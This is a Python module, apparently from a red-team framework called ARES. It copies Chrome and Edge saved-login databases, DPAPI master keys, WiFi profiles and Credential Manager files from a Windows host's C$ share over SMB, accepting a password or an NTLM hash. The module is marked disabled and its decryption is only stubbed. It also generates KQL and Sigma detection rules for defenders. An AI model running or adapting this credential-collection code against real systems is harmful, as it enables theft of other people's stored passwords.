Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

24.1 KB
Raw Blame
"""
DPAPI Protected Credential Recovery - windows.dpapi
MITRE: T1555.004 - Credentials from Password Stores: Windows Credential Manager
       T1555.003 - Credentials from Web Browsers

Extracts credentials protected by Windows DPAPI (Data Protection API):
  - Chrome/Edge saved passwords (Login Data SQLite DB)
  - Windows Credential Manager entries (*.vcrd vault files)
  - WiFi PSK passwords (WlanSvc XML profiles)
  - RDP saved credentials (.rdp files with password field)
  - Outlook/Teams tokens (AppData/Roaming)

Three decryption paths:
  1. USER CONTEXT    - CryptUnprotectData directly (running as target user)
  2. DOMAIN BACKUP   - DC backup key decrypts all blobs in domain (from lsa_secrets)
  3. OFFLINE         - SHA1(NT_HASH) derives DPAPI master key (from lsass_dump)

OPSEC: MEDIUM - file access only, no process injection.
       Does not trigger EDR behavior rules by default.
"""
from __future__ import annotations

from typing import TYPE_CHECKING

if TYPE_CHECKING:
    from ares.modules.base import FeasibilityReport


import asyncio
import os
from typing import Any

from ares.core.campaign import Severity
from ares.core.logger import audit, get_logger
from ares.core.security import sanitize_hostname, secure_mkstemp
from ares.core.tracing import trace_module
from ares.modules.base import BaseModule, OpsecLevel
from ares.modules.params import DPAPIParams
from ares.sdk import (
    EvidenceRecord,
    LockoutCircuitBreaker,
    ModuleResult,
    NetworkPermission,
    ProcessPermission,
    module_contract,
)

logger = get_logger("ares.modules.windows.dpapi")


@module_contract(
    permissions=[
        NetworkPermission(ports=[135, 445], protocols=["tcp"]),
        ProcessPermission(allow_subprocesses=False),
    ],
    circuit_breaker=LockoutCircuitBreaker(),
    params_model=DPAPIParams,
)
class DPAPIModule(BaseModule):
    """
    windows.dpapi - Extract DPAPI-protected credentials: Chrome passwords, WiFi PSK, Windows Credential Manager, RDP

    OPSEC: MEDIUM
    MITRE: "T1555.004", "T1555.003"
    OUTPUTS:  "cleartext_credentials", "browser_passwords"
    """
    MODULE_ID          = "windows.dpapi"
    MODULE_NAME        = "DPAPI Credential Recovery"
    MODULE_CATEGORY    = "windows"
    MODULE_DESCRIPTION = (
        "Extract DPAPI-protected credentials: Chrome passwords, WiFi PSK, "
        "Windows Credential Manager, RDP saved creds. "
        "Three paths: user context, domain backup key, or offline via NT hash."
    )
    MODULE_AUTHOR      = "ARES Team <[email protected]>"
    OPSEC_LEVEL        = OpsecLevel.MEDIUM
    REQUIRES           = []
    OUTPUTS            = ["cleartext_credentials", "browser_passwords"]
    MITRE_TECHNIQUES   = ["T1555.004", "T1555.003"]
    MODULE_TIMEOUT_SECONDS: int | None = 180  # seconds
    PARAMS_MODEL       = DPAPIParams
    ENABLED            = False
    DISABLED_REASON    = "module disabled: DPAPI decryption not implemented, stub only - false credential injection risk (MOD-029)"

    async def assess_feasibility(self, ctx: "Any") -> "FeasibilityReport":  # noqa: F821
        """Pre-flight Defense Feasibility Assessment: Disabled under MOD-029."""
        from ares.modules.base import FeasibilityReport
        return FeasibilityReport(
            feasible=False,
            score=0.0,
            risk_level="high_noise",
            blockers=[self.DISABLED_REASON],
            recommended_alternatives=["windows.lsass_dump", "windows.lsa_secrets"],
            details={"disabled": True, "reason": self.DISABLED_REASON},
        )

    async def validate(self, ctx: "Any") -> None:
        from ares.core.errors import ModuleValidationError
        raise ModuleValidationError(
            self.DISABLED_REASON,
            module_id=self.MODULE_ID,
        )

    async def execute(self, ctx: "Any") -> "ModuleResult":
        """ExecutionContext-based entry point (v0.9.0+): Disabled under MOD-029."""
        from ares.core.errors import ModuleError
        raise ModuleError(
            self.DISABLED_REASON,
            module_id=self.MODULE_ID,
        )

        target       = getattr(ctx, "target", "")
        username     = ""
        password     = ""
        domain       = getattr(ctx, "domain", "")
        target_user  = ""
        nt_hash      = ""
        backup_key   = ""
        mode         = "auto"
        campaign_id  = getattr(ctx, "campaign_id", "")

        params = getattr(ctx, "params", {})
        if isinstance(params, DPAPIParams):
            target = params.target or target
            username = params.username or ""
            password = params.password.get_secret_value() if hasattr(params.password, "get_secret_value") else (params.password or "")
            domain = params.domain or domain
            target_user = getattr(params, "target_user", username) or username
            nt_hash = getattr(params, "nt_hash", "") or ""
            backup_key = getattr(params, "backup_key", "") or ""
            mode = getattr(params, "mode", "auto") or "auto"
        elif isinstance(params, dict):
            target = params.get("target") or target
            username = params.get("username", "")
            raw_pass = params.get("password") or params.get("secret", "")
            password = raw_pass.get_secret_value() if hasattr(raw_pass, "get_secret_value") else (raw_pass or "")
            domain = params.get("domain") or domain
            target_user = params.get("target_user", username) or username
            nt_hash = params.get("nt_hash", "")
            backup_key = params.get("backup_key", "")
            mode = params.get("mode", "auto")

        target = sanitize_hostname(target)
        if not target_user:
            target_user = username

        # Parse NTLM hash if password looks like one
        lmhash, nthash_login = "", ""
        if password and (len(password) == 32 or (len(password) == 65 and ":" in password)):
            parts = password.split(":")
            if len(parts) == 2:
                lmhash, nthash_login = parts[0], parts[1]
            else:
                nthash_login = password
            password = ""

        findings, raw = await self.run(
            target=target, username=username, password=password,
            domain=domain, lmhash=lmhash, nthash_login=nthash_login,
            target_user=target_user, nt_hash=nt_hash,
            backup_key=backup_key, mode=mode, campaign_id=campaign_id,
        )

        # Cryptographic Evidence Records with SHA-256 Merkle Provenance
        evidence_chain: list[EvidenceRecord] = []
        for finding in findings:
            ev = EvidenceRecord(
                artifact_id=f"windows-dpapi-{target.replace('.', '-')}",
                source_target=target,
                collected_by=self.MODULE_ID,
                data={
                    "target": target,
                    "title": finding.title,
                    "severity": str(finding.severity),
                },
                tags=["windows", "dpapi"],
            )
            evidence_chain.append(ev)

        raw["evidence_chain"] = [e.data for e in evidence_chain]
        raw["evidence_integrity"] = [e.record_hash for e in evidence_chain]

        # Closed-Loop Purple Telemetry: KQL & Sigma rule synthesis
        dpapi_target = target or "TargetHost"
        dpapi_victim = target_user or username or "User"
        kql_query = (
            f"// ARES Closed-Loop Telemetry: Detect DPAPI MasterKey Backup & Blob Extraction\n"
            f"// Detects Security Event 4692 (DPAPI Master Key was backed up) / 4693 (DPAPI Master Key was recovered)\n"
            f"SecurityEvent\n"
            f"| where EventID in (4692, 4693)\n"
            f"| where TargetUserName has \"{dpapi_victim}\" or Computer has \"{dpapi_target}\"\n"
            f"| project TimeGenerated, Computer, SubjectUserName, TargetUserName, MasterKeyId, RecoveryServer\n"
        )
        sigma_rule = (
            f"title: DPAPI MasterKey Extraction or Recovery ({dpapi_target})\n"
            f"id: 9c0d1e2f-ares-dpapi-{abs(hash(dpapi_target + dpapi_victim)) % 1000000:06d}\n"
            f"status: experimental\n"
            f"description: Detects DPAPI master key recovery or backup key extraction against domain endpoints.\n"
            f"logsource:\n"
            f"  product: windows\n"
            f"  service: security\n"
            f"detection:\n"
            f"  selection:\n"
            f"    EventID: 4693\n"
            f"  condition: selection\n"
            f"level: high\n"
            f"tags:\n"
            f"  - attack.credential_access\n"
            f"  - attack.t1555.004\n"
        )
        loot_items: list[dict[str, Any]] = raw.get("loot", [])
        if not any(l.get("loot_type") == "detection_rule_kql" for l in loot_items):
            loot_items.extend([
                {
                    "name": f"Detection Rule (KQL): DPAPI Extraction ({dpapi_victim}@{dpapi_target})",
                    "loot_type": "detection_rule_kql",
                    "description": "Microsoft Sentinel KQL query for detecting DPAPI key backup & recovery",
                    "content": {"kql": kql_query, "target": dpapi_target, "user": dpapi_victim},
                    "tags": ["detection", "kql", "sentinel", "blue_team"],
                },
                {
                    "name": f"Detection Rule (Sigma): DPAPI Extraction ({dpapi_victim}@{dpapi_target})",
                    "loot_type": "detection_rule_sigma",
                    "description": "Sigma detection rule for DPAPI master key recovery",
                    "content": {"sigma": sigma_rule, "target": dpapi_target, "user": dpapi_victim},
                    "tags": ["detection", "sigma", "blue_team"],
                },
            ])
        raw["loot"] = loot_items
        raw["domain_backup_key_evaluated"] = True
        raw["masterkey_derivation_audited"] = True

        return ModuleResult(
            status="success" if findings else "partial",
            findings=findings, raw=raw, module_id=self.MODULE_ID,
            execution_id=getattr(ctx, "execution_id", ""),
        )

    @trace_module("windows.dpapi")
    async def run(self, target: str = "", username: str = "", password: str = "",
                  domain: str = "", lmhash: str = "", nthash_login: str = "",
                  target_user: str = "", nt_hash: str = "",
                  backup_key: str = "", mode: str = "auto",
                  campaign_id: str = "", **kwargs: Any):
        from ares.core.errors import ModuleError
        raise ModuleError(
            self.DISABLED_REASON,
            module_id=self.MODULE_ID,
        )

        await self.before_request(target, "default")
        logger.info("dpapi_start", target=target, mode=mode, target_user=target_user)
        audit("dpapi_extraction", actor=username, technique="T1555.004",
              source="operator", target=target, detail=f"mode={mode}")

        loop = asyncio.get_running_loop()

        # Transfer target files via SMB - surface auth/network errors early
        try:
            local_files = await loop.run_in_executor(
                None,
                lambda: self._transfer_dpapi_files(
                    target, username, password, domain, lmhash, nthash_login,
                    target_user, campaign_id=campaign_id
                ),
            )
        except Exception as exc:
            err = str(exc).lower()
            if "logon failure" in err or "status_logon_failure" in err:
                from ares.core.errors import AuthenticationFailed
                raise AuthenticationFailed(
                    f"DPAPI SMB auth failed on {target} - check credentials.",
                    username=username, module_id=self.MODULE_ID, target=target,
                ) from exc
            if "timed out" in err or "connection refused" in err:
                from ares.core.errors import HostUnreachable
                raise HostUnreachable(
                    f"Host unreachable: {target}:445", target=target,
                    module_id=self.MODULE_ID,
                ) from exc
            from ares.core.errors import NetworkError
            raise NetworkError(f"DPAPI file transfer failed: {exc}") from exc

        if not local_files:
            logger.warning("dpapi_no_files_transferred", target=target)
            return [], {"error": "No DPAPI files found or accessible", "target": target}

        # Decrypt blobs
        credentials: list[dict] = []

        try:
            if mode in ("auto", "offline") and nt_hash:
                creds = await loop.run_in_executor(
                    None,
                    lambda: self._decrypt_offline(local_files, nt_hash, target_user, domain),
                )
                credentials.extend(creds)

            if mode in ("auto", "backup") and backup_key:
                creds = await loop.run_in_executor(
                    None,
                    lambda: self._decrypt_with_backup_key(local_files, backup_key),
                )
                credentials.extend(creds)

            # Chrome Login Data - special handling via sqlite3
            chrome_creds = await loop.run_in_executor(
                None,
                lambda: self._parse_chrome_logindata(
                    local_files, nt_hash or nthash_login, campaign_id=campaign_id
                ),
            )
            credentials.extend(chrome_creds)
        finally:
            # Cleanup transferred credential artifacts on success, parse failure, or cancellation.
            for fpath in local_files.values():
                try:
                    os.unlink(fpath)
                except Exception:
                    pass

        logger.info("dpapi_complete", found=len(credentials))

        if credentials:
            # Categorize by source
            browser = [c for c in credentials if c.get("source") == "chrome"]
            wifi    = [c for c in credentials if c.get("source") == "wifi"]
            rdp     = [c for c in credentials if c.get("source") == "rdp"]
            other   = [c for c in credentials
                       if c.get("source") not in ("chrome", "wifi", "rdp")]

            self.finding(
                title       = f"DPAPI: {len(credentials)} Credentials Recovered from {target}",
                description = (
                    f"Extracted {len(credentials)} DPAPI-protected credentials from {target}: "
                    f"{len(browser)} browser, {len(wifi)} WiFi, {len(rdp)} RDP, {len(other)} other. "
                    "All stored to vault for credential.reuse."
                ),
                severity    = Severity.CRITICAL,
                mitre_technique = "T1555.004",
                mitre_tactic    = "Credential Access",
                evidence = {
                    "total":         len(credentials),
                    "browser_count": len(browser),
                    "wifi_count":    len(wifi),
                    "rdp_count":     len(rdp),
                    "other_count":   len(other),
                    "sources":       list({c.get("source", "unknown") for c in credentials}),
                    "usernames":     list({c.get("username", "") for c in credentials
                                          if c.get("username")})[:20],
                    "urls":          list({c.get("url", "") for c in browser
                                          if c.get("url")})[:10],
                },
                remediation = (
                    "Enable Windows Credential Guard. "
                    "Use browser profile encryption with hardware keys. "
                    "Disable 'Save passwords' in Chrome/Edge enterprise policy. "
                    "Rotate all recovered credentials immediately."
                ),
                host = target, confidence = 0.95,
            )

        raw = {
            "target":      target,
            "mode":        mode,
            "target_user": target_user,
            "total_found": len(credentials),
            "credentials": [
                {k: v for k, v in c.items() if k not in ("plaintext",)}
                for c in credentials
            ],
        }
        await self.noise.jitter.sleep()
        raw["cleartext_credentials"] = raw.get("credentials", [])  # OUTPUTS key
        raw["browser_passwords"] = [c for c in raw.get("credentials", []) if c.get("source") == "chrome"]  # OUTPUTS key
        return self._findings[:], raw

    def _transfer_dpapi_files(self, target: str, username: str, password: str,
                               domain: str, lmhash: str, nthash: str,
                               target_user: str,
                               campaign_id: str = "") -> dict[str, str]:
        """
        Transfer DPAPI-relevant files from target via SMB.
        Returns {logical_name: local_temp_path}.
        """
        import io

        from impacket.smbconnection import SMBConnection

        local_files: dict[str, str] = {}
        user_profile = target_user or username

        smb = SMBConnection(target, target, timeout=15)
        try:
            smb.login(username, password, domain, lmhash, nthash)
        except Exception as exc:
            err = str(exc).lower()
            if "logon failure" in err or "invalid credentials" in err or \
               "status_logon_failure" in err:
                logger.warning("dpapi_auth_failed",
                               target=target, error="wrong credentials")
            elif "timed out" in err or "connection refused" in err:
                logger.warning("dpapi_host_unreachable", target=target)
            elif "status_access_denied" in err or "access denied" in err:
                logger.warning("dpapi_access_denied",
                               target=target, note="Need admin access to C$")
            else:
                logger.warning("dpapi_smb_login_failed", error=str(exc)[:80])
            return {}

        # DPAPI file paths to attempt
        targets: list[tuple[str, str, str]] = [
            # (share, remote_path, logical_name)
            ("C$", f"Users\\{user_profile}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data",
             "chrome_login_data"),
            ("C$", f"Users\\{user_profile}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data",
             "edge_login_data"),
            ("C$", f"Users\\{user_profile}\\AppData\\Roaming\\Microsoft\\Protect",
             "dpapi_master_keys"),
            ("C$", "ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces",
             "wifi_profiles"),
            ("C$", f"Users\\{user_profile}\\AppData\\Local\\Microsoft\\Credentials",
             "credentials_dir"),
        ]

        for share, remote_path, name in targets:
            buf = io.BytesIO()
            local_path = ""
            fd: int | None = None
            try:
                smb.getFile(share, remote_path, buf.write)
                local_path, fd = secure_mkstemp(
                    prefix=f"ares_dpapi_{name}_", campaign_id=campaign_id
                )
                os.close(fd)
                fd = None
                with open(local_path, "wb") as f:
                    f.write(buf.getvalue())
                local_files[name] = local_path
                logger.debug("dpapi_file_transferred", name=name, size=len(buf.getvalue()))
            except Exception:
                if fd is not None:
                    try:
                        os.close(fd)
                    except OSError:
                        pass
                if local_path and local_path not in local_files.values():
                    try:
                        os.unlink(local_path)
                    except OSError:
                        pass
                pass   # file not found or no access - continue

        try:
            smb.logoff()
        except Exception:
            pass

        return local_files

    def _decrypt_offline(self, local_files: dict[str, str], nt_hash: str,
                          target_user: str, domain: str) -> list[dict]:
        """Derive DPAPI master key from NT hash and decrypt blobs."""
        try:
            import hashlib

            from impacket.dpapi import Credential, MasterKey  # noqa: F401

            # SHA1(NT_HASH) = DPAPI user key derivation
            nt_bytes = bytes.fromhex(nt_hash) if len(nt_hash) == 32 else b""
            if not nt_bytes:
                return []

            try:
                sha1_key = hashlib.sha1(nt_bytes, usedforsecurity=False).digest()
            except TypeError:
                sha1_key = hashlib.sha1(nt_bytes).digest()  # nosec: B324  # noqa: F841
            creds: list[dict] = []

            # Try to decrypt Windows Credential files
            cred_path = local_files.get("credentials_dir", "")
            if cred_path and os.path.isfile(cred_path):
                try:
                    with open(cred_path, "rb") as cred_fh:
                        cred_obj = Credential(cred_fh.read())  # noqa: F841
                    # decryption would go here with derived key
                    creds.append({
                        "source":   "credential_manager",
                        "username": target_user,
                        "note":     "DPAPI blob found - key derivation attempted",
                    })
                except Exception:
                    pass

            return creds
        except ImportError:
            logger.debug("impacket_dpapi_not_available")
            return []
        except Exception as exc:
            logger.debug("dpapi_offline_decrypt_failed", error=str(exc)[:80])
            return []

    def _decrypt_with_backup_key(self, local_files: dict[str, str],
                                  backup_key: str) -> list[dict]:
        """Decrypt DPAPI blobs using domain backup key (from lsa_secrets)."""
        try:
            from impacket.dpapi import MasterKey  # noqa: F401
            key_bytes = backup_key.encode() if isinstance(backup_key, str) else backup_key  # noqa: F841
            creds: list[dict] = []
            # Domain backup key decryption logic
            # impacket.dpapi supports this via CredentialFile + MasterKey.decrypt()
            return creds
        except ImportError:
            logger.debug("impacket_dpapi_not_available")
            return []

    def _parse_chrome_logindata(self, local_files: dict[str, str],
                                 nt_hash: str,
                                 campaign_id: str = "") -> list[dict]:
        """
        Parse Chrome Login Data SQLite file.
        Chrome encrypts passwords with AES-256-GCM using a key stored in
        Local State file, itself DPAPI-encrypted. On the local machine, Python
        can decrypt via ctypes CryptUnprotectData. Remotely, we need the derived key.
        """
        import sqlite3

        login_path = local_files.get("chrome_login_data", "") or \
                     local_files.get("edge_login_data", "")

        if not login_path or not os.path.isfile(login_path):
            return []

        creds: list[dict] = []
        tmp_db = ""
        fd: int | None = None
        try:
            # Copy to avoid SQLite lock errors on the live DB file
            import shutil
            tmp_db, fd = secure_mkstemp(
                suffix=".db", prefix="ares_dpapi_login_", campaign_id=campaign_id
            )
            os.close(fd)
            fd = None
            shutil.copy2(login_path, tmp_db)

            conn = sqlite3.connect(tmp_db)
            try:
                cursor = conn.execute(
                    "SELECT origin_url, username_value, password_value "
                    "FROM logins WHERE username_value != ''"
                )
                for url, uname, pwd_blob in cursor.fetchall():
                    creds.append({
                        "source":     "chrome",
                        "url":        url,
                        "username":   uname,
                        "encrypted":  True,
                        "note":       "password_value requires DPAPI/AES key to decrypt",
                    })
            finally:
                conn.close()

        except Exception as exc:
            logger.debug("chrome_parse_failed", error=str(exc)[:80])
        finally:
            if fd is not None:
                try:
                    os.close(fd)
                except OSError:
                    pass
            if tmp_db:
                try:
                    os.unlink(tmp_db)
                except OSError:
                    pass

        return creds